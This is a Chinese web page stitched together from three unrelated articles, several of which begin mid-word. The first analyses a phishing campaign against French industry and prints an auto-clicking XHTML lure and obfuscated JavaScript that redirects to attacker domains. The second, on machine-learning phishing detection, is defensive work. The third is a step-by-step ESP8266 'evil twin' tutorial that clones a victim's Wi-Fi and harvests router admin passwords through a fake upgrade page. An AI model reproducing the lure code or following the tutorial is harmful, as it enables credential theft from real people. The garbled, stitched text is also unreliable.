整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

深入剖析一场针对法国工业领域的网络钓鱼活动

络安全公司F-Secure的研究人员在最近观察到了一场针对法国工业领域的网络钓鱼活动,目标涵盖化工制造、航空航天、汽车、银行等领域,以及软件提供商和IT服务提供商。研究人员表示,从2018年10月开始,他们捕获了多封钓鱼电子邮件。从内容和附件来看,它们均采用了相似的模板。

网络钓鱼电子邮件

钓鱼电子邮件通常涉及到一些文档,可能是附件,也可能需要通过电子邮件提供的链接来获取。对于电子邮件的正文而言,法语的使用显得非常地道,使得这些电子邮件很具说服力。

电子邮件的主题直接挪用了附件名称的前缀。附件可能是HTML文件,也可能是PDF文件。通常被命名为“document”、“ preuves ”或“ fact ”,后跟下划线和一个六位数数字,又或者直接就是一个六位数数字。以下是研究人员所观察到的一些附件名称:

  • fact_395788.xht
  • document_773280.xhtml
  • 474362.xhtml
  • 815929.htm
  • document_824250.html
  • 975677.pdf
  • 743558.pdf

以下是在11月15日活动中捕获的一个XHTML附件样本所包含的内容:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title></title>

<meta content="UTF-8" />

</head>

<body onload='document.getElementById("_y").click();'>

<h1>

<a id="_y" href="https://t[.]co/8hMB9xwq9f?540820">Lien de votre document</a>

</h1>

</body>

</html>

活动的演变

在10月初发现的第一批网络钓鱼电子邮件,包含没有经过混淆处理的payload地址。例如:

  • hxxp://piecejointe[.]pro/facture/redirect[.]php
  • hxxp://mail-server-zpqn8wcphgj[.]pw?client=XXXXXX

这些链接要么位于HTML/XHTML/HTM附件中,要么直接存在于电子邮件的正文中。另外,电子邮件所使用的附件名称大多数都是“document_[随机数].xhtml”。

到10月底,攻击者对这些payload地址进行了混淆处理。为此,攻击者使用了一个简单的Javascript。

var _0xa4d9=["\x75\x71\x76\x6B\x38\x66\x74\x75\x77\x35\x69\x74\x38\x64\x73\x67\x6C\x63\x7A\x2E\x70\x77",

"\x7A\x71\x63\x7A\x66\x6E\x32\x6E\x6E\x6D\x75\x65\x73\x68\x38\x68\x74\x79\x67\x2E\x70\x77",

"\x66\x38\x79\x33\x70\x35\x65\x65\x36\x64\x6C\x71\x72\x37\x39\x36\x33\x35\x7A\x2E\x70\x77",

"\x65\x72\x6B\x79\x67\x74\x79\x63\x6F\x6D\x34\x66\x33\x79\x61\x34\x77\x69\x71\x2E\x70\x77",

"\x65\x70\x72\x72\x39\x71\x79\x32\x39\x30\x65\x62\x65\x70\x6B\x73\x6D\x6B\x62\x2E\x70\x77",

"\x37\x62\x32\x64\x75\x74\x62\x37\x76\x39\x34\x31\x34\x66\x6E\x68\x70\x36\x63\x2E\x70\x77",

"\x64\x69\x6D\x76\x72\x78\x36\x30\x72\x64\x6E\x7A\x36\x63\x68\x6C\x77\x6B\x65\x2E\x70\x77",

"\x78\x6D\x76\x6E\x6C\x67\x6B\x69\x39\x61\x39\x39\x67\x35\x6B\x62\x67\x75\x65\x2E\x70\x77",

"\x62\x72\x75\x62\x32\x66\x77\x64\x39\x30\x64\x38\x6D\x76\x61\x70\x78\x6E\x6C\x2E\x70\x77",

"\x68\x38\x39\x38\x6A\x65\x32\x68\x74\x64\x64\x61\x69\x38\x33\x78\x63\x72\x37\x2E\x70\x77",

"\x6C\x32\x6C\x69\x69\x75\x38\x79\x64\x7A\x6D\x64\x66\x30\x31\x68\x69\x63\x72\x2E\x70\x77",

"\x63\x79\x6B\x36\x6F\x66\x6D\x75\x6E\x6C\x35\x34\x72\x36\x77\x6B\x30\x6B\x74\x2E\x70\x77",

"\x7A\x78\x70\x74\x76\x79\x6F\x64\x6A\x39\x35\x64\x77\x63\x67\x6B\x6C\x62\x77\x2E\x70\x77",

"\x35\x65\x74\x67\x33\x6B\x78\x6D\x69\x78\x67\x6C\x64\x73\x78\x73\x67\x70\x65\x2E\x70\x77",

"\x38\x35\x30\x6F\x6F\x65\x70\x6F\x6C\x73\x69\x71\x34\x6B\x71\x6F\x70\x6D\x65\x2E\x70\x77",

"\x6F\x6D\x63\x36\x75\x32\x6E\x31\x30\x68\x38\x6E\x61\x71\x72\x30\x61\x70\x68\x2E\x70\x77",

"\x63\x30\x7A\x65\x68\x62\x74\x38\x6E\x77\x67\x6F\x63\x35\x63\x6E\x66\x33\x30\x2E\x70\x77",

"\x68\x36\x6A\x70\x64\x6B\x6E\x7A\x76\x79\x63\x61\x36\x6A\x67\x33\x30\x78\x74\x2E\x70\x77",

"\x74\x64\x32\x6E\x62\x7A\x6A\x6D\x67\x6F\x36\x73\x6E\x65\x6E\x6A\x7A\x70\x72\x2E\x70\x77",

"\x6C\x69\x70\x71\x76\x77\x78\x63\x73\x63\x34\x75\x68\x6D\x6A\x36\x74\x6D\x76\x2E\x70\x77",

"\x31\x33\x72\x7A\x61\x75\x30\x69\x64\x39\x79\x76\x37\x71\x78\x37\x76\x6D\x78\x2E\x70\x77",

"\x6B\x64\x33\x37\x68\x62\x6F\x6A\x67\x6F\x65\x76\x6F\x63\x6C\x6F\x7A\x77\x66\x2E\x70\x77",

"\x66\x75\x67\x65\x39\x69\x6F\x63\x74\x6F\x38\x39\x63\x6B\x36\x7A\x62\x30\x76\x2E\x70\x77",

"\x70\x6D\x63\x35\x6B\x71\x6C\x78\x6C\x62\x6C\x78\x30\x65\x67\x74\x63\x37\x32\x2E\x70\x77",

"\x30\x71\x38\x31\x73\x73\x72\x74\x68\x69\x72\x63\x69\x62\x70\x6A\x62\x33\x38\x2E\x70\x77","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x68\x74\x74\x70\x3A\x2F\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];

var arr=[_0xa4d9[0],_0xa4d9[1],_0xa4d9[2],_0xa4d9[3],_0xa4d9[4],_0xa4d9[5],_0xa4d9[6],_0xa4d9[7],_0xa4d9[8],_0xa4d9[9],_0xa4d9[10],_0xa4d9[11],_0xa4d9[12],_0xa4d9[13],_0xa4d9[14],_0xa4d9[15],_0xa4d9[16],_0xa4d9[17],_0xa4d9[18],_0xa4d9[19],_0xa4d9[20],_0xa4d9[21],_0xa4d9[22],_0xa4d9[23],_0xa4d9[24]];

var redir=arr[Math[_0xa4d9[27]](Math[_0xa4d9[25]]()* arr[_0xa4d9[26]])];

window[_0xa4d9[30]][_0xa4d9[29]](_0xa4d9[28]+ redir)

上面这段Javascript代码被作为附件的一部分提供,用于对“[随机字符串].pw”域名进行去混淆,进而将收件人重定向到payload域名。在10月底的活动,payload域名已经被更改为了hxxp://email-document-joint[.]pro/redir/。

然而,在附件中使用Javascript代码似乎并没有取得太大的成功。因为,在仅仅过了几天之后,攻击者就移除了用于对域名进行去混淆和重定向的Javascript代码,转而使用pste.eu。pste.eu是一个类似于pastebin的HTML代码服务平台。因此,随后的钓鱼电子邮件都包含指向pste.eu的链接,如hxxps[://]pste[.]eu/p/yGqK[.]html。

在11月的活动中,研究人员再次观察到了一些变化。一些电子邮件开始包含有指向随机.pw或.site域名子域名的链接,例如:

  • hxxp://6NZX7M203U[.]p95jadah5you6bf1dpgm[.]pw
  • hxxp://J8EOPRBA7E[.]jeu0rgf5apd5337[.]site

与此同时,PDF文件也开始以附件的形式出现在网络钓鱼电子邮件中,这些PDF文件包含一个类似的指向随机.site或.website域名子域名的链接。

在几天之后的11月15日,攻击者开始使用Twitter短网址在pste.eu URL之间添加重定向。他们通过Twitter帐户发布了298个pste.eu URL,然后将这些t.co URL添加在他们的网络钓鱼电子邮件中。攻击者所使用的Twitter帐户似乎都是一些广告帐户,自2012年创建以来只有很少的动态更新,并且大多数推文和转推都与Twitter广告活动、产品或彩票等有关。

Twitter上的pste.eu链接

URL重定向示例

在这场活动中使用的最新链接是会导致302重定向的随机.icu域名,交付方法仍然是电子邮件中的XHTML/HTML附件或链接。另外,这场活动的发展十分迅速,攻击者在生成新域名和探索新的重定向和混淆方法方面表现得尤为活跃。在撰写本文时,payload URL会导致重定向广告,涉及到多个不同的域名和URL,而这些域和URL均包含了大量的恶意广告。

基础设施

在这场活动中,攻击者主要使用的是被其劫持的Wanadoo电子邮件帐户,以及后来使用的的自主域名电子邮件帐户(如rault@3130392E3130322E37322E3734.lho33cefy1g.pw)来发送钓鱼电子邮件。其中,子域名即是电子邮件服务器的名称,是服务器公共IP地址经过十六进制换算的结果。对于这里所举的例子而言,服务器公共IP地址是109.102.72.74。

包含在电子邮件中的链接能够将收件人重定向到多个URL,且大多数网站都托管在相同的服务器上。

在11月晚些时候,payload域名(如email-document-joint[.]pro或.pw)会将收件人重定向到诸如ffectuermoi[.]tk或eleverqualit[.]tk这样的域名。这些网站都托管在相同的服务器上,具有许多类似的域名。对这些服务器的进一步调查显示,它们长期以来就被用于托管PUP/Adware程序和恶意广告URL。

在ffectuermoi[.]tk上执行点击操作,收件人最终将会被重定向到 doesok[.]top。该网站不仅会展示广告,而且会利用cookie来收集用户信息。值得注意的是,托管doesok[.]top的服务器长期以来也被用于托管PUP/广告软件/恶意软件。

额外的发现

在调查的过程中,研究人员在Virustotal上还发现了一个从法国提交的恶意文件。该文件是一个.zip压缩文件,包含以下内容:

  • “All in One Checker”工具-一款可用于验证电子邮箱账户和密码是否有效的工具
  • .vbs dropper-用于在执行“All in One Checker”工具时将后门释放到用户系统的脚本
  • 由“All in One Checker”工具创建的文件夹-以“All in One Checker”工具执行时的当前日期和时间命名,包含几个文本文件:
  • txt-用于记录任何错误
  • txt-用于记录验证结果
  • txt- Ostatok代表的是“the rest”或“remainder”

.zip文件包含的内容:“03.10_17:55”是由“All in One Checker”创建的

“03.10_17:55”文件夹包含的内容

几乎所有包含在这些.txt文件中的电子邮件帐户都自来.fr域名,其中一个地址实际上与研究人员在10月19日的钓鱼电子邮件中看到的发件人地址完全相同。显然,这个.zip文件很可能来自上述同一伙人。

本文由 黑客视界 综合网络整理,图片源自网络;转载请注明“转自黑客视界”,并附上链接。

文介绍如何使用机器学习技术检测一个URL是否是钓鱼网站,内容包括数据抓取、特征选择和模型训练等。

学编程,上汇智网,在线编程环境,一对一助教指导。

我有一个客户的邮箱最近差点被钓鱼网站骗掉。他的供应商的邮件被攻击了,然后黑客使用这个供应商的邮箱给他发了一封催款邮件,要求他支付到另一个银行账号。幸运的是,我的客户给那个供应商 打电话进行了确认因此发现了骗局。这使我意识到钓鱼攻击到处都在,我们不应当低估它的危害。

下面是一些钓鱼网站的例子,基本上他们的目的就是骗到你的登录账号和密码。这是一个仿冒Paypal的钓鱼站:

这是一个仿冒的游戏站:

1、初步分析

学编程,上汇智网,在线编程环境,一对一助教指导。

在Kaggle上有一些钓鱼数据集,但是为此项目我希望生成自己的数据库。我使用了两种数据源来构建钓鱼URL清单:

  • 合法URL:Ebubekir Büber (github.com/ebubekirbbr)
  • 钓鱼URL:phishtank.com

利用一点领域知识对这些合法和钓鱼URL进行分析,我将可以从URL中得到的信息分为以下5个类别:

  • URL:包含了一些线索。有些钓鱼URL是使用bit.ly等工具生成的短网址, 还有一些则是包含了额外的参数,例如:
  • https://services.runescape.com-u.cz/m=weblogin/loginform.wa725,200,119,49827406,1
  • https://bit.ly/2Kni3xl?facebook
  • 域名:二级域名可能存在钓鱼风险。例如:
  • http://paypal-verify.com/customer_center/customer-IDPP00C227/myaccount/signin
  • http://recoveryourpaypalacc.globalengg-mep.com/login/customer_center/customer-IDPP00C52
  • 网络:HTTP相应头中可能包含有用的信息
  • 页面:总体来说,钓鱼网站总是使用一些表单试图让你输入账号、邮件、密码等信息- Whois:域名往往是通过GoDaddy等注册商注册的

通过分析我还有以下的发现:

  • 钓鱼攻击者通常会黑进合法的网站来插入钓鱼网页,而不是搭建一个独立域名进行 钓鱼攻击。虽然这会让从域名来识别钓鱼网站更困难,我理解注册商和托管商一旦 发现钓鱼网页都会迅速通知站长移除以避免对其排名的影响。这意味着我们可能会 看到被攻击的域名的注册商为空。
  • 有些钓鱼网站可能包含恶意代码而不是直接在浏览器中载入URL。我这样操作:
  • 使用https://web-capture.net这样的工具查看这些页面的截图
  • 使用文本编辑器分析HTML代码

2、数据获取

我的数据抓取器的概念模型大致如下:

基本的思路是尽可能保持代码的模块化,这样我就可以在需要的时候添加新的分类。我抓取的每个页面都在本地文件存储,以便这些页面在将来不可用时有个参考依据。

我使用BeautifulSoup来提取页面信息,通过设置随机的user-agent,可以减少请求被当作bot拒绝的可能。

为了保证一致性,我也对URL进行了基本的预处理,例如移除www和结尾的斜杠。

3、探索式数据分析

学编程,上汇智网,在线编程环境,一对一助教指导。

由于抓取数据非常耗时,我决定开始我的探索式数据分析来找点感觉。在分析了1817个URL(其中包括930个钓鱼URL和887个合法URL)的特征之后,我选择使用以下15个特征:

 URL Domain Network Page Whois 
 -------------- --------------- ------------ ---------- --------- 
 length len_subdomain len_cookie length w_score 
 special_char is_https anchors 
 depth form 
 email 
 password 
 signin 
 hidden 
 popup

4、特征选择

我是用LASSO正则化来识别重要的特征。即使只用了一个小alpha值,我已经发现了5个重要的特征:

[('len', 0.0006821926601753635),
('count_s', 0.0),
('depth', 0.0),
('len_subdomain', 0.0),
('is_https', 0.0),
('len_cookie', -0.0002472539769316538),
('page_length', -2.4074484401619206e-07),
('page_num_anchor', -0.0006943876695101922),
('page_num_form', -0.0),
('page_num_email', -0.0),
('page_num_password', 0.0),
('page_num_signin', 0.0),
('page_num_hidden', -0.00041105959874092535),
('page_num_popup', -0.0),
('w_score', -0.0)]

坦白说,对于w_score没起作用我有点惊讶。最终我决定使用这5个特征。

 URL Domain Network Page Whois 
 -------- -------- ------------ --------- ------- 
 length len_cookie length 
 anchors 
 hidden

然后我使用KNN搭了一个简单的分类器作为基线。K选择3并得到了还算可以的准确率0.793:

5、模型

通过抓取我得到6906 个url,3501合法, 3455 钓鱼。不出意外的是许多钓鱼页面不可访问了:

 Type #URL processed #Pages available 
------- ---------------- ------------------ 
 Legit 4,000 3,501 
 Phish 6,000 3,455

利用这6906个样本我再次进行特征选择,筛选出同样的5个特征。最优的K还是3,很好!

下面是模型的参数:

Model Accuracy 
------------------- ---------- 
Naive Bayes 0.757 
SVC 0.760 
KNN (K=3) 0.791 
Log. Reg. 0.822 
Decision Tree 0.836 
KNN (K=3, scaled) 0.845 
Random Forest 0.885

原文链接:用机器学习检测钓鱼网站 — 汇智网用

实关于esp8266网上有许多教程,好多前辈玩这个已经好多年了,但为了给像我这样的小白系统的解决制作过程中的一些问题,我还是写出来。

我自己也是刚开始玩,如有不对的地方还请大神们多多指教。在此感谢iangzy,老王,歪哥为我解决了一些制作过程中的问题。

1.esp8266模块

首先当然你要有一块esp8266模块,像这样的,最好是有底板的,带Micro口的,这些淘宝上都可以搜到的,我的就是淘宝上买的,大概30-40RMB左右,当然,如果你的动手能力比较强的话可以自己做底板。

2.如何将固件下载到esp8266中

在这里你需要下载两个东西,就是Flash下载工具和固件

将自己的esp8266插到电脑上,确定连接没问题的话打开设备管理器看下自己的串口是多少,我这边是COM6

将下载的Flash下载工具解压,打开ESPFlashDownloadTool_v3.4.9.2.exe,打开是这样的,选择esp8266 DownloadTool

在这里需要注意的几点是:

(1)固件选择之前下载的固件DNS.ino.ino.nodemcu.bin。

(2)地址输入0×00000(可能地址这一栏会出现红色的状况,导致无法烧入固件,此时把下载器关了重启下,然后把地址那栏清空再自己手动输入就好了)。

(3)这边需要将DoNotChgBin勾选起来,否则烧入固件后可能没有wifi,当然不同的板子可能不太一样,这个请大家自行测试。

(4)这边串口按照自己之前查的选择就行了,波特率115200就可以了。

其他设置按照红框里面的选择就行

设置完这些后就点击START开始烧flash,烧完后如果模块正常的话电脑会多出来一个叫HH的wifi,这个wifi就是esp8266发出来的。

如果没有显示HH,就按下esp8266的RST键复位,等个几秒钟就会显示出来。此时你就可以连接HH了。wifi的密码为:m1234567

在这里我就不详述了,擦完大概是这个样子,然后重新按照上面的步骤烧flash就可以了。 )

3.用arduino上传web到esp8266

我的是Windows系统,arduino版本是1.8.4,安装完后打开工具——开发板——开发板管理器,此时会自动更新,过个数分钟更新完毕后(当然,如果用外网的话可能几秒钟就能解决),搜索eps8266,选择第二个,版本选2.2.0,然后安装。

将上面解压后的web源码上传工具的tools放到Arduino根目录里合并,然后返回以下界面,点击文件——新建,新建一个项目,将里面的代码清空,然后点击文件——保存,将项目保存到一个你能找到的位置,点击工具——esp8266 sketch data upload,会出现以下的提示,选择No,会发现新建的项目中多出来一个data文件夹,里面是空的,然后将上面下载的web源码\data里面的三个文件复制到这个文件夹里面。

然后再返回arduino,点击工具,开发板按照自己买的选择,端口选择自己的端口,其他设置如下图红框里面的。

设置完后点击esp8266 sketch data upload,这时不会出现提醒,开始上传web页面,等个1分钟左右esp8266上的蓝灯不闪烁了就表示上传完了。

然后电脑连接HH的wifi,浏览器输入192.168.1.1/backdoor.html就能进入web页面了,如下图,路由器型号选择通用型,然后输入你测试的wifi编号,点确定,电脑提示SSID伪造成功,手机就会发现出现了个和你测试的wifi一样的没有加密的wifi,原来的HH会不见了,8266的蓝灯常亮,手机连接那个wifi后过几秒会自动弹出路由器升级的页面,然后输入管理员密码,点击开始升级,此时你的esp8266会将管理员密码保存,升级完后,8266的灯就会灭掉。

电脑重新连接HH,进入web页面后管理员密码会在下面的红框这一块显示,这时,就表示获取密码成功了。

到此,整个esp8266制作钓鱼wifi的教程到此结束,祝大家玩的开心!!!